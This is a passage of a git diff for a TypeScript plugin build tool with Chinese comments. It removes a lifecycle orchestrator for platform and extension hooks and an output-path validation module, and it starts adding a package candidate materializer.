调用方未声明 phase 时使用的阶段。 - * @returns Context 可见的最小诊断提交函数。 - */ -function diagnosticReporter( - diagnostics: DiagnosticCollector, - identity: { readonly platform?: PlatformDescription['id']; readonly extension?: string }, - defaultPhase: string, -): (input: DiagnosticInput) => void { - return input => diagnostics.add({ - ...input, - phase: input.phase ?? defaultPhase, - ...(identity.platform === undefined ? {} : { platform: identity.platform }), - ...(identity.extension === undefined ? {} : { extension: identity.extension }), - }); -} - -/** - * 把任意异常收敛为不包含堆栈、路径或凭据的 buildEnd 摘要。 - * - * @param error 生命周期捕获的原始异常。 - * @param redaction 当前构建的路径和环境脱敏边界。 - * @returns 可安全提供给清理 Hook 的名称与消息。 - */ -function failureSummary(error: unknown, redaction: ReportRedactionOptions): BuildFailureSummary { - if (error instanceof Error) { - return Object.freeze({ - name: sanitizeReportText(error.name || 'Error', redaction), - message: sanitizeReportText(error.message || 'Lifecycle failed.', redaction), - }); - } - return Object.freeze({ name: 'Error', message: 'Lifecycle failed.' }); -} - -/** - * 为当前生命周期构造严格按 owner 隔离的 Artifact 文件来源授权。 - * - * @param project Scanner 已确认的规范工程和精确来源文件。 - * @param platforms 当前配置中的 Platform 独占工作目录。 - * @param extensions 当前配置中的 Extension 独占工作目录。 - * @returns Platform、Extension 与 Public 之间不可互相回退的授权表。 - */ -function artifactSourcePolicies( - project: PluginProject, - platforms: readonly PlatformRuntime[], - extensions: readonly ExtensionRuntime[], -): ArtifactSourcePolicies { - /** Platform 可以引用的已扫描 Component 主文件和 Skill 辅助文件。 */ - const componentFiles = [ - ...project.commands.map(component => component.sourcePath), - ...project.skills.flatMap(component => [component.sourcePath, ...component.auxiliaryFiles.map(file => file.sourcePath)]), - ...project.agents.map(component => component.sourcePath), - ].map(sourcePath => Object.freeze({ - // 主 Component 使用工程相对报告路径,辅助文件使用绝对来源;统一以 project.root 为解析基准。 - path: path.resolve(project.root, sourcePath), - root: project.root, - })); - /** 每个 owner 的目录或精确文件授权,不包含工程根和 runtime 共同父目录。 */ - const policies = new Map(); - for (const runtime of platforms) { - policies.set(`platform:${runtime.resolved.platform.id}`, { - roots: [runtime.workDir], - files: componentFiles, - }); - } - for (const runtime of extensions) - policies.set(`extension:${runtime.extension.name}`, { roots: [runtime.workDir] }); - policies.set('public', { - files: project.publicFiles.map(file => ({ path: path.resolve(project.root, file.sourcePath), root: project.root })), - }); - return policies; -} - -/** - * 将 PluginProject Component 依赖转换为兼容性传播边。 - * - * @param project 已完成图校验的规范工程。 - * @returns 使用 `kind:id` Subject 约定的稳定依赖列表。 - */ -function compatibilityDependencies(project: PluginProject): CompatibilityDependency[] { - return [...project.commands, ...project.skills, ...project.agents].map(component => ({ - subject: `${component.kind}:${component.id}`, - dependsOn: [ - ...component.requires.skills.map(id => `skill:${id}`), - ...component.requires.agents.map(id => `agent:${id}`), - ], - })); -} - -/** - * 把最终 DeliveryUnit 转换为不含内容字节的报告条目。 - * - * @param units 全局 Registry 的不可变单元快照。 - * @returns Schema v1 使用的稳定摘要。 - */ -function deliveryUnitReports(units: readonly DeliveryUnit[]): DeliveryUnitReport[] { - return units.map(unit => ({ - platform: unit.platform, - id: unit.id, - role: unit.role, - type: unit.type, - artifacts: unit.artifacts.map(artifact => ({ - path: artifact.path, - owner: artifact.owner, - mode: artifact.mode, - size: artifact.size, - sha256: artifact.sha256, - })), - })); -} - -/** - * 执行唯一、平台中立的 acplugin Core 生命周期。 - * - * 具体 Platform 与 Extension 只能通过公开 Hook 和最小 Context 参与,Core 不包含任何内置 - * Platform、Hooks 或 MCP 名称分支。 - * - * @param request 已解析配置、TS 模块加载能力和可选环境快照。 - * @returns 不含工程绝对路径和 Artifact 内容的 Schema v1 BuildResult。 - */ -export async function executeLifecycle(request: LifecycleRequest): Promise { - /** buildStart/buildEnd 可见但不会自动加载 dotenv 的环境快照。 */ - const environment = Object.freeze({ ...(request.environment ?? process.env) }); - /** 当前运行所有隔离工作目录的共同临时父目录。 */ - const runtimeRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-work-')); - /** 程序化结果、JSON 报告和 buildEnd 错误摘要共同使用的路径脱敏边界。 */ - const reportRedaction = Object.freeze({ roots: [request.config.root, runtimeRoot] }); - /** 所有 Hook、Scanner、Registry 与事务共享的诊断容器。 */ - const diagnostics = new DiagnosticCollector(reportRedaction); - /** Platform 和 Adapter 产生的功能兼容性结论。 */ - const compatibility = new CompatibilityCollector(); - /** Platform 对统一元数据字段的处理结果。 */ - const metadata = new MetadataDispositionCollector(diagnostics); - /** 按配置顺序建立的 Platform 运行时。 */ - const platforms: PlatformRuntime[] = request.config.platforms.map((resolved, index) => ({ - resolved, - workDir: path.join(runtimeRoot, 'platforms', `${index}-${encodeURIComponent(resolved.platform.id)}`), - initialized: false, - active: true, - })); - /** 按配置顺序建立且不提供依赖图的 Extension 运行时。 */ - const extensions: ExtensionRuntime[] = request.config.extensions.map((extension, index) => ({ - extension, - workDir: path.join(runtimeRoot, 'extensions', `${index}-${encodeURIComponent(extension.name)}`), - initialized: false, - active: true, - discovered: undefined, - built: undefined, - hasResources: false, - })); - /** configResolved 开始后需要逆序执行 buildEnd 的对象。 */ - const initialized: InitializedRuntime[] = []; - /** 全局 owner-aware DeliveryUnit Registry。 */ - let sourcePolicies: ArtifactSourcePolicies = new Map(); - /** 全局 owner-aware DeliveryUnit Registry;Scanner 完成后替换为精确授权实例。 */ - let units = new DeliveryUnitRegistry(sourcePolicies); - /** Scanner 产出的只读工程;扫描异常前保持未定义。 */ - let project: PluginProject | undefined; - /** 各 Platform 完成 Adapter 应用后的结构化 Document 报告。 */ - const documentReports: DocumentReport[] = []; - /** 不被 cleanup 错误覆盖的首个异常。 */ - let originalError: unknown; - /** 输出目录是否完成原子交换。 */ - let committed = false; - /** 防止事务 afterSwap 与 finally 重复清理。 */ - let finalized = false; - - /** Platform 的配置顺序描述快照。 */ - const platformDescriptions = Object.freeze(platforms.map(item => Object.freeze({ - id: item.resolved.platform.id, - apiVersion: item.resolved.platform.apiVersion, - deliveryType: item.resolved.platform.deliveryType, - strict: item.resolved.strict, - }))); - /** Extension 的配置顺序描述快照。 */ - const extensionDescriptions: readonly ExtensionDescription[] = Object.freeze(extensions.map(item => Object.freeze({ - name: item.extension.name, - apiVersion: item.extension.apiVersion, - }))); - /** configResolved Hook 只能读取的最小配置快照。 */ - const configSnapshot = Object.freeze({ - root: request.config.root, - srcDir: request.config.srcDir, - metadata: request.config.metadata, - strict: request.config.strict, - }); - - /** - * 逆序执行所有已初始化对象的 buildEnd,并把清理失败追加为诊断。 - * - * @param cause 进入清理前的首个异常。 - * @returns 保留原始异常优先级的最终失败原因。 - */ - const finalize = async (cause: unknown): Promise => { - if (finalized) - return cause; - finalized = true; - /** 后续 buildEnd 可观察且不会覆盖原始异常的失败原因。 */ - let finalCause = cause; - for (const item of [...initialized].reverse()) { - /** 当前对象自己的隔离工作目录与身份。 */ - const workDir = item.runtime.workDir; - /** 当前清理阶段的安全失败摘要。 */ - const error = finalCause === undefined ? undefined : failureSummary(finalCause, reportRedaction); - if (item.kind === 'platform') { - /** 当前执行 buildEnd 的 Platform 实例。 */ - const platform = item.runtime.resolved.platform; - try { - /** 仅包含安全失败摘要和最小运行信息的 Platform 清理上下文。 */ - const context: BuildEndContext = Object.freeze({ - command: request.config.command, - mode: request.config.mode, - projectRoot: request.config.root, - workDir, - environment, - status: finalCause === undefined && !diagnostics.hasErrors ? 'success' : 'failed', - ...(error === undefined ? {} : { error }), - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'buildEnd'), - }); - await platform.buildEnd?.(context); - } catch /** cleanupError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (cleanupError) { - finalCause ??= cleanupError; - diagnostics.error('PLATFORM_BUILD_END_FAILED', `Platform "${platform.id}" buildEnd failed.`, { - phase: 'buildEnd', platform: platform.id, - }); - } - } else { - /** 当前执行 buildEnd 的 Extension 实例。 */ - const extension = item.runtime.extension; - try { - /** 仅包含安全失败摘要和最小运行信息的 Extension 清理上下文。 */ - const context: BuildEndContext = Object.freeze({ - command: request.config.command, - mode: request.config.mode, - projectRoot: request.config.root, - workDir, - environment, - status: finalCause === undefined && !diagnostics.hasErrors ? 'success' : 'failed', - ...(error === undefined ? {} : { error }), - reportDiagnostic: diagnosticReporter(diagnostics, { extension: extension.name }, 'buildEnd'), - }); - await extension.buildEnd?.(context); - } catch /** cleanupError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (cleanupError) { - finalCause ??= cleanupError; - diagnostics.error('EXTENSION_BUILD_END_FAILED', `Extension "${extension.name}" buildEnd failed.`, { - phase: 'buildEnd', extension: extension.name, - }); - } - } - } - return finalCause; - }; - - try { - await fs.mkdir(path.join(runtimeRoot, 'platforms'), { recursive: true }); - await fs.mkdir(path.join(runtimeRoot, 'extensions'), { recursive: true }); - - // configResolved 固定先执行 Platform,再执行 Extension,且都保持用户配置顺序。 - for (const runtime of platforms) { - await fs.mkdir(runtime.workDir, { recursive: true }); - runtime.initialized = true; - initialized.push({ kind: 'platform', runtime }); - /** 当前进入 configResolved 阶段的 Platform。 */ - const platform = runtime.resolved.platform; - try { - /** Platform 可见的冻结配置与生态描述快照。 */ - const context: ConfigResolvedContext = Object.freeze({ - command: request.config.command, - mode: request.config.mode, - config: configSnapshot, - platforms: platformDescriptions, - extensions: extensionDescriptions, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'configResolved'), - }); - await platform.configResolved?.(context); - } catch { - runtime.active = false; - diagnostics.error('PLATFORM_HOOK_FAILED', `Platform "${platform.id}" configResolved failed.`, { - phase: 'configResolved', platform: platform.id, - }); - } - } - for (const runtime of extensions) { - await fs.mkdir(runtime.workDir, { recursive: true }); - runtime.initialized = true; - initialized.push({ kind: 'extension', runtime }); - try { - /** Extension 可见的冻结配置与生态描述快照。 */ - const context: ConfigResolvedContext = Object.freeze({ - command: request.config.command, - mode: request.config.mode, - config: configSnapshot, - platforms: platformDescriptions, - extensions: extensionDescriptions, - reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'configResolved'), - }); - await runtime.extension.configResolved?.(context); - } catch { - runtime.active = false; - diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" configResolved failed.`, { - phase: 'configResolved', extension: runtime.extension.name, - }); - } - } - - // buildStart 仍固定 Platform 在前、Extension 在后;失败对象不再进入后续业务 Hook。 - for (const runtime of platforms.filter(item => item.active)) { - try { - await runtime.resolved.platform.buildStart?.(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - projectRoot: request.config.root, - workDir: runtime.workDir, - environment, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: runtime.resolved.platform.id }, 'buildStart'), - })); - } catch { - runtime.active = false; - diagnostics.error('PLATFORM_HOOK_FAILED', `Platform "${runtime.resolved.platform.id}" buildStart failed.`, { - phase: 'buildStart', platform: runtime.resolved.platform.id, - }); - } - } - for (const runtime of extensions.filter(item => item.active)) { - try { - await runtime.extension.buildStart?.(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - projectRoot: request.config.root, - workDir: runtime.workDir, - environment, - reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'buildStart'), - })); - } catch { - runtime.active = false; - diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" buildStart failed.`, { - phase: 'buildStart', extension: runtime.extension.name, - }); - } - } - - for (const runtime of extensions.filter(item => item.active)) { - try { - runtime.discovered = await runtime.extension.discover?.(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - srcDir: request.config.srcDir, - workDir: runtime.workDir, - loadTypeScriptModule: request.loadTypeScriptModule, - reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'discover'), - })); - // discover 返回 undefined 是通用的“未发现资源”信号,空 Extension 不影响兼容性。 - runtime.hasResources = runtime.discovered !== undefined; - } catch { - runtime.active = false; - diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" discover failed.`, { - phase: 'discover', extension: runtime.extension.name, - }); - } - } - - /** Core Scanner 始终在 Extension discover 后建立唯一 PluginProject。 */ - const scanned = await scanProject(request.config, diagnostics); - project = scanned.project; - /** Scanner 之后才能把工程来源收窄为实际发现的精确文件。 */ - sourcePolicies = artifactSourcePolicies(project, platforms, extensions); - units = new DeliveryUnitRegistry(sourcePolicies); - - for (const runtime of extensions.filter(item => item.active)) { - try { - await runtime.extension.validate?.(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - project, - reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'validate'), - }), runtime.discovered as never); - } catch { - runtime.active = false; - diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" validate failed.`, { - phase: 'validate', extension: runtime.extension.name, - }); - } - } - - if (!diagnostics.hasErrors) { - for (const runtime of extensions.filter(item => item.active)) { - try { - runtime.built = await runtime.extension.build?.(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - project, - workDir: runtime.workDir, - /** Extension 只能登记明确的绝对文件,避免相对路径随进程 cwd 漂移。 */ - addWatchFile: (file: string): void => { - if (typeof file !== 'string' || file.includes('\0') || !path.isAbsolute(file)) - throw new TypeError('Extension watch files must be absolute paths without NUL bytes.'); - request.onWatchFile?.(path.normalize(file)); - }, - reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'build'), - }), runtime.discovered as never); - } catch { - runtime.active = false; - diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" build failed.`, { - phase: 'build', extension: runtime.extension.name, - }); - } - } - } - - /** Platform 阶段开始前的结构错误会阻止所有产物生成。 */ - const generationAllowed = !diagnostics.hasErrors; - if (generationAllowed) { - for (const runtime of platforms) { - /** 当前串行执行产物生成的 Platform。 */ - const platform = runtime.resolved.platform; - /** 当前 Platform 新增错误不会阻止后续 Platform 收集自己的诊断。 */ - const errorsBeforePlatform = errorCount(diagnostics); - if (!runtime.active) - continue; - try { - /** Platform prepare 产生的兼容性出口自动附加当前 Platform ID。 */ - const reportCompatibility = (entry: CompatibilityInput): void => compatibility.add({ ...entry, platform: platform.id }); - /** Platform 对统一元数据的处理结论同样由 Core 固定附加身份。 */ - const reportMetadata = (entry: MetadataDispositionInput): void => metadata.add({ ...entry, platform: platform.id }); - /** Platform 初始结构化 Draft。 */ - const draftInput = await platform.prepare(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - project, - options: platform.options ?? Object.freeze({}), - workDir: runtime.workDir, - reportCompatibility, - reportMetadata, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'prepare'), - })); - /** Draft Registry 同时允许当前 Platform、工程扫描来源和 Extension 临时产物。 */ - const draft = await PlatformDraftRegistry.create(platform.id, draftInput, sourcePolicies); - for (const publicFile of project.publicFiles) { - await draft.injectPublicArtifact({ - path: publicFile.targetPath, - source: { type: 'file', path: publicFile.sourcePath }, - mode: publicFile.mode, - }); - } - - for (const extensionRuntime of extensions.filter(item => item.active && item.hasResources)) { - /** 当前 Extension 对该 Platform 的唯一 Adapter。 */ - const adapter = extensionRuntime.extension.adapters.find(item => item.platform === platform.id); - if (!adapter) { - compatibility.add({ - platform: platform.id, - subject: `extension:${extensionRuntime.extension.name}`, - capability: extensionRuntime.extension.name, - level: 'unsupported', - reason: `Extension "${extensionRuntime.extension.name}" has resources but no Adapter for Platform "${platform.id}".`, - }); - continue; - } - /** Adapter 同步 API 提交的异步 Artifact 校验任务。 */ - const pendingArtifacts: Promise[] = []; - /** 任一 Document patch 拒绝后保持 true,第三方 Adapter 无法通过 catch 清除此状态。 */ - let documentPatchRejected = false; - /** Adapter 只能访问当前 Draft 的 add-only 受限上下文。 */ - const context: PlatformAdapterContext = Object.freeze({ - command: request.config.command, - mode: request.config.mode, - platform: Object.freeze({ - id: platform.id, - apiVersion: platform.apiVersion, - deliveryType: platform.deliveryType, - }), - project, - /** getDocument 提供当前对象协议要求的回调实现。 */ getDocument: (id: string): Readonly | undefined => draft.getDocument(id), - /** emitArtifact 提供当前对象协议要求的回调实现。 */ emitArtifact: (input: ArtifactInput): void => { - /** 立即附加 observer,避免 Adapter 后续 await 期间形成 unhandled rejection。 */ - const contribution = draft.emitArtifact(`extension:${extensionRuntime.extension.name}`, input); - void contribution.catch(() => undefined); - pendingArtifacts.push(contribution); - }, - /** patchDocument 的失败是粘滞状态,即使 Adapter 捕获异常也必须阻止提交。 */ patchDocument: (input: DocumentAddPatch): void => { - try { - draft.patchDocument(`extension:${extensionRuntime.extension.name}`, input); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if (!documentPatchRejected) { - diagnostics.error('ADAPTER_DOCUMENT_PATCH_REJECTED', `Extension "${extensionRuntime.extension.name}" submitted an invalid Document patch for Platform "${platform.id}".`, { - phase: 'adapter', platform: platform.id, extension: extensionRuntime.extension.name, - }); - } - documentPatchRejected = true; - throw error; - } - }, - /** reportCompatibility 提供当前对象协议要求的回调实现。 */ reportCompatibility: (entry: CompatibilityInput): void => compatibility.add({ ...entry, platform: platform.id }), - reportDiagnostic: diagnosticReporter(diagnostics, { - platform: platform.id, - extension: extensionRuntime.extension.name, - }, 'adapter'), - }); - /** apply 首错必须在等待全部贡献 settle 后保持原样传播。 */ - let applyFailed = false; - /** Adapter apply 抛出的原始失败,仅用于 Core 内部控制流且绝不写入报告。 */ - let applyFailure: unknown; - try { - await adapter.apply(context, extensionRuntime.built as never); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - applyFailed = true; - applyFailure = error; - } - /** 无论 apply 成功或失败,都观察已登记的全部异步贡献。 */ - const artifactResults = await Promise.allSettled(pendingArtifacts); - /** 配置顺序和 emit 顺序共同决定第一个需要传播的贡献失败。 */ - const artifactFailure = artifactResults.find((result): result is PromiseRejectedResult => result.status === 'rejected'); - if (applyFailed) - throw applyFailure; - if (artifactFailure) - throw artifactFailure.reason; - if (documentPatchRejected) - throw new Error('Adapter submitted a rejected Document patch.'); - } - - /** document 表示当前 Platform 在 Adapter 完成后的最终结构化 Document。 */ - for (const document of draft.documents) { - documentReports.push({ - platform: platform.id, - id: document.id, - path: document.path, - format: document.format, - owner: document.owner, - }); - } - - // 当前 Platform 的全部 Adapter 结论完成后应用 strictness;错误只跳过当前 Platform。 - compatibility.applyStrictness(diagnostics, { id: platform.id, strict: runtime.resolved.strict }); - if (errorCount(diagnostics) > errorsBeforePlatform) - continue; - - /** generateBundle 新增的兼容性结论只在本 checkpoint 之后再次应用 strictness。 */ - const generateCompatibilityStart = compatibility.size; - /** Platform 读取完成 owner merge 的只读 Draft 并生成主单元。 */ - const primaryInput = await platform.generateBundle(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - project, - documents: draft.documents, - artifacts: draft.artifacts, - workDir: runtime.workDir, - reportCompatibility, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'generateBundle'), - })); - compatibility.applyStrictness( - diagnostics, - { id: platform.id, strict: runtime.resolved.strict }, - generateCompatibilityStart, - ); - if (errorCount(diagnostics) > errorsBeforePlatform) - continue; - if (primaryInput.id !== platform.deliveryType || primaryInput.role !== 'primary' || primaryInput.type !== platform.deliveryType) - throw new Error(`Platform "${platform.id}" returned an invalid primary DeliveryUnit contract.`); - /** Platform 必须序列化全部 Document 并透传全部 Public/Extension Artifact。 */ - const outputPaths = new Set(primaryInput.artifacts.map(artifact => normalizeOutputPath(artifact.path))); - for (const document of draft.documents) { - /** omit-if-empty 只在 Adapter 合并后仍为空对象时允许不生成物理文件。 */ - const canOmit = document.emission === 'omit-if-empty' - && document.value !== null - && typeof document.value === 'object' - && !Array.isArray(document.value) - && Object.keys(document.value).length === 0; - if (!canOmit && !outputPaths.has(document.path)) - throw new Error(`Platform "${platform.id}" omitted Document "${document.id}" from its primary unit.`); - } - for (const artifact of draft.artifacts) { - if (!outputPaths.has(artifact.path)) - throw new Error(`Platform "${platform.id}" omitted inherited Artifact "${artifact.path}" from its primary unit.`); - } - /** owner 完整且已进入全局 tuple 唯一性的主单元。 */ - const primary = await units.add(platform.id, primaryInput, draft.artifacts); - await withMaterializedDeliveryUnitCandidate(primary, candidate => platform.validateBundle(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - candidate, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'validateBundle'), - })), runtime.workDir); - if (errorCount(diagnostics) > errorsBeforePlatform) { - units.removePlatform(platform.id); - continue; - } - - if (platform.generateDistributions) { - /** Platform 只能组合自己已经验证的主单元。 */ - const distributions = await platform.generateDistributions(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - project, - options: platform.options ?? Object.freeze({}), - workDir: runtime.workDir, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'generateDistributions'), - }), Object.freeze([primary])); - for (const distributionInput of distributions) { - if (distributionInput.id !== 'marketplace' || distributionInput.role !== 'distribution' || distributionInput.type !== 'marketplace') - throw new Error(`Platform "${platform.id}" returned an invalid Distribution contract.`); - /** 每个 Distribution 独立进入全局 Registry 和候选 Validator。 */ - const distribution = await units.add(platform.id, distributionInput, primary.artifacts); - await withMaterializedDeliveryUnitCandidate(distribution, candidate => platform.validateBundle(Object.freeze({ - command: request.config.command, - mode: request.config.mode, - candidate, - reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'validateBundle'), - })), runtime.workDir); - } - } - if (errorCount(diagnostics) > errorsBeforePlatform) - units.removePlatform(platform.id); - } catch { - units.removePlatform(platform.id); - diagnostics.error('PLATFORM_GENERATION_FAILED', `Platform "${platform.id}" generation failed.`, { - phase: 'generate', platform: platform.id, - }); - } - } - } - - /** 只对依赖传播新产生的结论追加 strict/relaxed Diagnostic,避免重复直接结论。 */ - const propagatedCompatibilityStart = compatibility.size; - if (project) - compatibility.propagateDependencies(compatibilityDependencies(project)); - for (const runtime of platforms) { - compatibility.applyStrictness( - diagnostics, - { id: runtime.resolved.platform.id, strict: runtime.resolved.strict }, - propagatedCompatibilityStart, - ); - } - /** 全局 Registry 完整且无错误时才允许物化或提交任何单元。 */ - const finalUnits = units.snapshot(); - /** 已成功建立主单元的 Platform 集合。 */ - const successfulPlatforms = new Set(finalUnits.filter(unit => unit.role === 'primary').map(unit => unit.platform)); - /** 配置中的每个 Platform 是否都完成了主单元生成。 */ - const allPlatformsGenerated = platforms.every(runtime => successfulPlatforms.has(runtime.resolved.platform.id)); - if (!diagnostics.hasErrors && generationAllowed && allPlatformsGenerated) { - /** 显式策略优先;Core 直接调用仍按命令使用符合直觉的默认提交行为。 */ - const commit = request.commit ?? (request.config.command === 'build' || request.config.command === 'dev'); - if (commit) { - await commitDeliveryUnits(request.config.outDir, finalUnits, { - projectRoot: request.config.root, - /** buildEnd 仍处于 backup 可回滚窗口,清理失败不会留下部分提交。 */ - async afterSwap() { - originalError = await finalize(originalError); - if (originalError !== undefined || diagnostics.hasErrors) - throw originalError ?? new Error('Lifecycle cleanup failed.'); - }, - }); - committed = true; - } else { - await validateDeliveryUnitMaterialization(finalUnits); - originalError = await finalize(originalError); - } - } - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - originalError ??= error; - if (!diagnostics.hasErrors) - diagnostics.error('LIFECYCLE_INTERNAL_FAILED', 'The lifecycle failed inside Core.', { phase: 'internal' }); - } finally { - if (originalError === undefined && diagnostics.hasErrors) - originalError = new Error('Lifecycle failed; see diagnostics.'); - originalError = await finalize(originalError); - await fs.rm(runtimeRoot, { recursive: true, force: true }); - } - - /** buildEnd 之后的最终不可变单元快照。 */ - const finalUnits = units.snapshot(); - /** Scanner 成功时由三种规范资源组成的无路径 Component 摘要。 */ - const components: ComponentReport[] = project === undefined - ? [] - : [...project.commands, ...project.skills, ...project.agents].map(component => ({ - kind: component.kind, - id: component.id, - })); - return createBuildResult({ - command: request.config.command, - success: !diagnostics.hasErrors && originalError === undefined - && platforms.every(runtime => finalUnits.some(unit => unit.platform === runtime.resolved.platform.id && unit.role === 'primary')), - committed, - platforms: platforms.map(runtime => runtime.resolved.platform.id), - platformDetails: platformDescriptions, - components, - extensions: extensionDescriptions.map((extension, index) => ({ - ...extension, - hasResources: extensions[index]?.hasResources ?? false, - })), - documents: documentReports, - deliveryUnits: deliveryUnitReports(finalUnits), - diagnostics: diagnostics.diagnostics, - compatibility: compatibility.entries, - metadata: metadata.entries, - }, reportRedaction); -} diff --git a/packages/core/src/output-paths.ts b/packages/core/src/output-paths.ts deleted file mode 100644 index dc66e76..0000000 --- a/packages/core/src/output-paths.ts +++ /dev/null @@ -1,91 +0,0 @@ -import path from 'node:path'; - -/** 输出路径占用记录的来源类别。 */ -export type OutputPathKind = 'document' | 'artifact'; - -/** 已被某个所有者占用的规范输出路径。 */ -export interface OutputPathReservation { - readonly path: string; - readonly owner: string; - readonly kind: OutputPathKind; -} - -/** - * 将产物路径规范化为安全、稳定的 POSIX 相对路径。 - * - * @param value Platform 或 Extension 提供的目标路径。 - * @returns 经过分隔符、逃逸和 Unicode 检查的 NFC 路径。 - */ -export function normalizeOutputPath(value: string): string { - if (typeof value !== 'string' || value === '') - throw new Error('Output path must be a non-empty string.'); - if (value.includes('\\')) - throw new Error(`Output path must use POSIX separators: ${value}`); - if (value.includes('\0')) - throw new Error('Output path must not contain NUL bytes.'); - if (path.posix.isAbsolute(value)) - throw new Error(`Output path must be relative: ${value}`); - if (value.split('/').includes('..')) - throw new Error(`Output path escapes its root through a parent-directory segment: ${value}`); - /** 折叠点片段并统一 Unicode 组合形式后的最终路径。 */ - const normalized = path.posix.normalize(value).normalize('NFC'); - if (normalized === '.' || normalized === '..' || normalized.startsWith('../')) - throw new Error(`Output path escapes the DeliveryUnit root: ${value}`); - return normalized; -} - -/** - * 生成跨大小写和 Unicode 归一化文件系统使用的路径冲突键。 - * - * @param value 已规范化的 POSIX 输出路径。 - * @returns 按路径片段折叠后的稳定冲突键。 - */ -function collisionKey(value: string): string { - return value.split('/') - .map(segment => segment.normalize('NFC').toLocaleLowerCase('en-US')) - .join('/'); -} - -/** 管理一个 Draft 或 DeliveryUnit 中全部文件路径的唯一占用关系。 */ -export class OutputPathRegistry { - /** 以跨文件系统冲突键索引的路径占用记录。 */ - readonly #reservations = new Map(); - - /** - * 验证并占用一个文件路径。 - * - * @param owner Platform 或 Extension 的稳定所有者。 - * @param kind Document 或普通 Artifact。 - * @param value 未经校验的相对输出路径。 - * @returns 已规范化并冻结的占用记录。 - */ - reserve(owner: string, kind: OutputPathKind, value: string): OutputPathReservation { - if (typeof owner !== 'string' || owner.trim() === '') - throw new Error('Output owner must be a non-empty string.'); - /** 经过路径边界和 Unicode 规范化的文件路径。 */ - const outputPath = normalizeOutputPath(value); - /** 用于跨平台冲突和文件/目录前缀检查的比较键。 */ - const key = collisionKey(outputPath); - for (const [existingKey, existing] of this.#reservations) { - if (key === existingKey) { - throw new Error(`Output path collision between ${existing.kind} "${existing.path}" owned by "${existing.owner}" and ${kind} "${outputPath}" owned by "${owner}".`); - } - if (key.startsWith(`${existingKey}/`) || existingKey.startsWith(`${key}/`)) { - throw new Error(`Output file/directory conflict between "${existing.path}" and "${outputPath}".`); - } - } - /** 成功占用后保存的不可变路径记录。 */ - const reservation = Object.freeze({ path: outputPath, owner, kind }); - this.#reservations.set(key, reservation); - return reservation; - } - - /** - * 释放一次尚未完成内容验证的路径占用。 - * - * @param value reserve 返回的规范路径。 - */ - release(value: string): void { - this.#reservations.delete(collisionKey(value)); - } -} diff --git a/packages/core/src/package/candidate-materializer.ts b/packages/core/src/package/candidate-materializer.ts new file mode 100644 index 0000000..77826c8 --- /dev/null +++ b/packages/core/src/package/candidate-materializer.ts @@ -0,0 +1,326 @@ +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import type { PackageCandidate, PackageUnitSnapshot } from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; + +/** Package Unit Platform/ID 共用的 lowercase-kebab 规则。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** Candidate handle 将绝对临时路径限制在 validator 调用窗口。 */ +export interface PackageCandidateHandle { + readonly candidate: PackageCandidate; + /** validator 返回后复核完整树、字节和 mode。 */ + readonly validate: () => Promise; + /** 无论成功失败都幂等移除 candidate。 */ + readonly cleanup: () => Promise; +} + +/** 单个 Package Unit 预检后的完整路径和 Asset metadata。 */ +export interface MaterializationEntry { + readonly path: string; + readonly asset: PackageUnitSnapshot['assets'][number]['asset']; + readonly mode: 0o644 | 0o755; + readonly size: number; + readonly sha256: string; +} + +/** @returns 文件字节的 SHA-256 十六进制摘要。 */ +function hashBytes(bytes: Uint8Array): string { + return createHash('sha256').update(bytes).digest('hex'); +} + +/** + * 验证一个 Unit 的身份、Asset snapshot 和完整路径闭包。 + * + * @param unit Core 建立的 Package Unit snapshot。 + * @param assets 当前 BuildSession Asset Registry。 + * @returns 按路径排序的物化输入。 + */ +function preflightUnit(unit: PackageUnitSnapshot, assets: AssetRegistry): readonly MaterializationEntry[] { + if (!STABLE_ID.test(unit.platform) || !STABLE_ID.test(unit.id)) + throw new TypeError('Package Unit Platform and id must use lowercase kebab-case.'); + if ((unit.role === 'primary' && unit.type === 'marketplace') + || (unit.role === 'distribution' && unit.type !== 'marketplace')) { + throw new TypeError('Package Unit role and type are inconsistent.'); + } + /** exact/case/NFC 与文件/目录前缀共用一个本地索引。 */ + const paths = new Map(); + /** entries 保留 materialization 所需的完整性基准。 